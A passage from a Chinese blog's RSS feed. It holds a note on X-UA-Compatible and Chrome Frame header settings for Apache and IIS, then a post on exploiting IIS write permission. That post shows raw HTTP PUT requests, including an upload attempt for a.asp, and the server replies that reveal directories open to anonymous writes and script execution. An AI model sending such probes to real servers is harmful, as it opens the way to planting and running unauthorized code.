padding-top: 0px">            <h2 style="border-bottom: rgb(204,204,204) 1px solid; padding-bottom: 5px; border-right-width: 0px; list-style-type: none; margin: 15px 0px 10px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; color: rgb(19,133,250); font-size: 16px; border-left-width: 0px; padding-top: 5px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" face=""><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">&lt;&nbsp;<wbr></wbr></font></code><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><strong style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-weight: bold; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#006699">meta</font></strong></code>&nbsp;<wbr></wbr><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#808080">http-equiv</font></code>&nbsp;<wbr></wbr><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">=&nbsp;<wbr></wbr></font></code><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#0000ff">&quot;X-UA-Compatible&quot;</font></code>&nbsp;<wbr></wbr><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#808080">content</font></code>&nbsp;<wbr></wbr><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">=&nbsp;<wbr></wbr></font></code><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#0000ff">&quot;chrome=1&quot;</font></code>&nbsp;<wbr></wbr><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">&gt;</font></code></font></h2>            </div>            </td>        </tr>    </tbody></table></div></div><p style="border-bottom: 0px; text-align: left; border-left: 0px; padding-bottom: 5px; line-height: 21px; list-style-type: none; margin: 0px 0px 5px; padding-left: 0px; padding-right: 0px; font-family: 'Lucida Grande', 'Microsoft Yahei', Verdana, Arial, Helvetica, sans-serif; word-wrap: normal; color: rgb(85,85,85); word-break: normal; border-top: 0px; border-right: 0px; padding-top: 5px">用以声明当前页面用chrome内核来渲染。<br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" />复杂一些的就是本文一开始看到的那中用法：</p><div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 'Lucida Grande', 'Microsoft Yahei', Verdana, Arial, Helvetica, sans-serif; border-top-width: 0px; border-bottom-width: 0px; color: rgb(85,85,85); font-size: 12px; border-left-width: 0px; padding-top: 0px"><div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><table style="padding-bottom: 0px; line-height: normal; margin: 0px; padding-left: 0px; padding-right: 0px; font-size: 12px; padding-top: 0px" border="0" cellspacing="0" cellpadding="0">    <tbody style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px">        <tr style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px">            <td style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: Verdana, 宋体, sans-serif; font-size: 12px; padding-top: 0px">            <h2 style="border-bottom: rgb(204,204,204) 1px solid; padding-bottom: 5px; border-right-width: 0px; list-style-type: none; margin: 15px 0px 10px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; color: rgb(19,133,250); font-size: 16px; border-left-width: 0px; padding-top: 5px">1</h2>            </td>            <td style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: Verdana, 宋体, sans-serif; font-size: 12px; padding-top: 0px">            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">            <h2 style="border-bottom: rgb(204,204,204) 1px solid; padding-bottom: 5px; border-right-width: 0px; list-style-type: none; margin: 15px 0px 10px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; color: rgb(19,133,250); font-size: 16px; border-left-width: 0px; padding-top: 5px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" face=""><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">&lt;&nbsp;<wbr></wbr></font></code><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><strong style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-weight: bold; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#006699">meta</font></strong></code>&nbsp;<wbr></wbr><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#808080">http-equiv</font></code>&nbsp;<wbr></wbr><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">=&nbsp;<wbr></wbr></font></code><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#0000ff">&quot;X-UA-Compatible&quot;</font></code>&nbsp;<wbr></wbr><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#808080">content</font></code>&nbsp;<wbr></wbr><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">=&nbsp;<wbr></wbr></font></code><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#0000ff">&quot;IE=edge,chrome=1&quot;</font></code>&nbsp;<wbr></wbr><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 24px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">/&gt;</font></code></font></h2>            </div>            </td>        </tr>    </tbody></table></div></div><p style="border-bottom: 0px; text-align: left; border-left: 0px; padding-bottom: 5px; line-height: 21px; list-style-type: none; margin: 0px 0px 5px; padding-left: 0px; padding-right: 0px; font-family: 'Lucida Grande', 'Microsoft Yahei', Verdana, Arial, Helvetica, sans-serif; word-wrap: normal; color: rgb(85,85,85); word-break: normal; border-top: 0px; border-right: 0px; padding-top: 5px">这样写可以达到的效果是如果安装了GCF，则使用GCF来渲染页面，如果为安装GCF，则使用最高版本的IE内核进行渲染。<br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" />2.通过修改HTTP头文件的方法来实现让指定的页面使用GCF内核进行渲染：<br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" />在HTTP的头文件中加入以下信息：X-UA-Compatible: chrome=1<br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" />在Apache服务器中，确保 mod_headers 和 mod_setenvif文件可用，然后在httpd.conf中加入以下配置信息：</p><div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 'Lucida Grande', 'Microsoft Yahei', Verdana, Arial, Helvetica, sans-serif; border-top-width: 0px; border-bottom-width: 0px; color: rgb(85,85,85); font-size: 12px; border-left-width: 0px; padding-top: 0px"><div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><table style="padding-bottom: 0px; line-height: normal; margin: 0px; padding-left: 0px; padding-right: 0px; font-size: 12px; padding-top: 0px" border="0" cellspacing="0" cellpadding="0">    <tbody style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px">        <tr style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px">            <td style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: Verdana, 宋体, sans-serif; font-size: 12px; padding-top: 0px">            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">1</div>            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">2</div>            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">3</div>            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">4</div>            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">5</div>            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">6</div>            </td>            <td style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: Verdana, 宋体, sans-serif; font-size: 12px; padding-top: 0px">            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">            <div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000" face="">&lt; IfModule mod_setenvif.c&gt;</font></code></div>            <div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000" face="">&lt; IfModule mod_headers.c&gt;</font></code></div>            <div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000" face="">BrowserMatch chromeframe gcf</font></code></div>            <div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" face=""><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">Header append X-UA-Compatible&nbsp;<wbr></wbr></font></code><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#0000ff">&quot;chrome=1&quot;</font></code>&nbsp;<wbr></wbr><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">env=gcf</font></code></font></div>            <div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000" face="">&lt;/ IfModule &gt;</font></code></div>            <div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000" face="">&lt;/ IfModule &gt;</font></code></div>            </div>            </td>        </tr>    </tbody></table></div></div><p style="border-bottom: 0px; text-align: left; border-left: 0px; padding-bottom: 5px; line-height: 21px; list-style-type: none; margin: 0px 0px 5px; padding-left: 0px; padding-right: 0px; font-family: 'Lucida Grande', 'Microsoft Yahei', Verdana, Arial, Helvetica, sans-serif; word-wrap: normal; color: rgb(85,85,85); word-break: normal; border-top: 0px; border-right: 0px; padding-top: 5px">在IIS7或者更高版本的服务器中，只需要修改web.config文件,添加如下信息即可即可:</p><div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 'Lucida Grande', 'Microsoft Yahei', Verdana, Arial, Helvetica, sans-serif; border-top-width: 0px; border-bottom-width: 0px; color: rgb(85,85,85); font-size: 12px; border-left-width: 0px; padding-top: 0px"><div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><table style="padding-bottom: 0px; line-height: normal; margin: 0px; padding-left: 0px; padding-right: 0px; font-size: 12px; padding-top: 0px" border="0" cellspacing="0" cellpadding="0">    <tbody style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px">        <tr style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px">            <td style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: Verdana, 宋体, sans-serif; font-size: 12px; padding-top: 0px">            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">1</div>            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">2</div>            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">3</div>            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">4</div>            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">5</div>            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">6</div>            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">7</div>            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">8</div>            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">9</div>            </td>            <td style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: Verdana, 宋体, sans-serif; font-size: 12px; padding-top: 0px">            <div style="text-align: left; padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px">            <div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000" face="">&lt; configuration &gt;</font></code></div>            <div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" face=""><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">&lt;&nbsp;<wbr></wbr></font></code><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><strong style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-weight: bold; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#ff1493">system</font></strong></code><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">.webServer &gt;</font></code></font></div>            <div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000" face="">&lt; httpProtocol &gt;</font></code></div>            <div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000" face="">&lt; customHeaders &gt;</font></code></div>            <div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" face=""><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">&lt; add name =&nbsp;<wbr></wbr></font></code><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#0000ff">&quot;X-UA-Compatible&quot;</font></code>&nbsp;<wbr></wbr><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">value =&nbsp;<wbr></wbr></font></code><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#0000ff">&quot;chrome=1&quot;</font></code>&nbsp;<wbr></wbr><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">/&gt;</font></code></font></div>            <div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000" face="">&lt;/ customHeaders &gt;</font></code></div>            <div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000" face="">&lt;/ httpProtocol &gt;</font></code></div>            <div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" face=""><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">&lt;/&nbsp;<wbr></wbr></font></code><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><strong style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-weight: bold; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#ff1493">system</font></strong></code><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000">.webServer &gt;</font></code></font></div>            <div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px"><code style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"><font style="padding-bottom: 0px; line-height: 18px; margin: 0px; padding-left: 0px; padding-right: 0px; word-wrap: normal; word-break: normal; padding-top: 0px" color="#000000" face="">&lt;/ configuration &gt;</font></code></div>            </div>            </td>        </tr>    </tbody></table></div></div></div>]]></description><category>技术笔记</category><comments>http://blog.careff.com/post/389.html#comment</comments><wfw:commentRss>http://blog.careff.com/feed.asp?cmt=389</wfw:commentRss></item><item><title>对iis写权限的利用.txt</title><author>a@b.com (admin)</author><link>http://blog.careff.com/post/345.html</link><pubDate>Wed, 27 Jun 2012 08:59:48 +0800</pubDate><guid>http://blog.careff.com/post/345.html</guid><description><![CDATA[<p>大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis</p><p>写权限分析内容：</p><p>写权限</p><p>　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：</p><p>PUT /dir/my_file.txt HTTP/1.1 <br />Host: iis-server <br />Content-Length: 10</p><p>&nbsp;</p><p>PUT /my_file.txt HTTP/1.1 <br />Host: iis-server <br />Content-Length: 10</p><p>&nbsp;</p><p>PUT /a.asp HTTP/1.1 <br />Host: iis-server <br />Content-Length: 10</p><p>　　这时服务器会返回一个100( 继续)的信息：</p><p>HTTP/1.1 100 Continue <br />Server: Microsoft-IIS/5.0 <br />Date: Thu, 28 Feb 2002 15:56:00 GMT</p><p>　　接着，我们输入10个字母：</p><p>AAAAAAAAAA</p><p>　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：</p><p>HTTP/1.1 201 Created <br />Server: Microsoft-IIS/5.0 <br />Date: Thu, 28 Feb 2002 15:56:08 GMT <br />Location:http://iis-server/dir/my_file.txt <br />Content-Length: 0 <br />Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, <br />PROPPATCH, SEARCH, LOCK, UNLOCK</p><p>　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(</p><p>权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了&rdquo;写&rdquo;和&ldquo;脚本和可执行程序&rdquo;的话，那么web用户就可以</p><p>上传一个程序并且执行它，恐怖哦%^#$!~</p><p>　　这里简单说明下：</p><p>PUT /dir/my_file.txt HTTP/1.1 <br />Host: iis-server <br />Content-Length: 10</p><p>　　